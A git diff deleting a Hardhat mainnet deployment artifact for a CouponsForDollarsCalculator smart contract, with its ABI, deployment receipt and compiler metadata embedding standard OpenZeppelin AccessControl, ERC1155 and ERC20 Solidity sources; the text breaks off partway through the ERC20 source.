a/packages/contracts/dollar/deployments/mainnet/CouponsForDollarsCalculator.json b/packages/contracts/dollar/deployments/mainnet/CouponsForDollarsCalculator.json deleted file mode 100644 index f4df24652..000000000 --- a/packages/contracts/dollar/deployments/mainnet/CouponsForDollarsCalculator.json +++ /dev/null @@ -1,105 +0,0 @@ -{ - "address": "0x4F3dF4c1e22209d623ab55923109112f1E2B17DE", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "dollarsToBurn", - "type": "uint256" - } - ], - "name": "getCouponAmount", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0xac23d2dc18baa2a56c868698658823d75e21b7c12d2ab03b3bcb7cc928fbdc84", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x4F3dF4c1e22209d623ab55923109112f1E2B17DE", - "transactionIndex": 72, - "gasUsed": "1016350", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x5ed6c5e0c315cb4968ce7a0640906eac6efd22300eb0012fc7b98dabdbf1170e", - "transactionHash": "0xac23d2dc18baa2a56c868698658823d75e21b7c12d2ab03b3bcb7cc928fbdc84", - "logs": [], - "blockNumber": 12595272, - "cumulativeGasUsed": "5390837", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"dollarsToBurn\",\"type\":\"uint256\"}],\"name\":\"getCouponAmount\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"constructor\":{\"params\":{\"_manager\":\"the address of the manager/config contract so we can fetch variables\"}}},\"title\":\"Uses the following formula: ((1/(1-R)^2) - 1)\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/CouponsForDollarsCalculator.sol\":\"CouponsForDollarsCalculator\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping (uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping (address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor (string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return interfaceId == type(IERC1155).interfaceId\\n || interfaceId == type(IERC1155MetadataURI).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(\\n address[] memory accounts,\\n uint256[] memory ids\\n )\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(address account, uint256 id, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n internal\\n virtual\\n { }\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x8a7cdfd0cc4a768ad04f850cbce1e877cf7ac16202c33049e3dd9e5bd99d713b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to 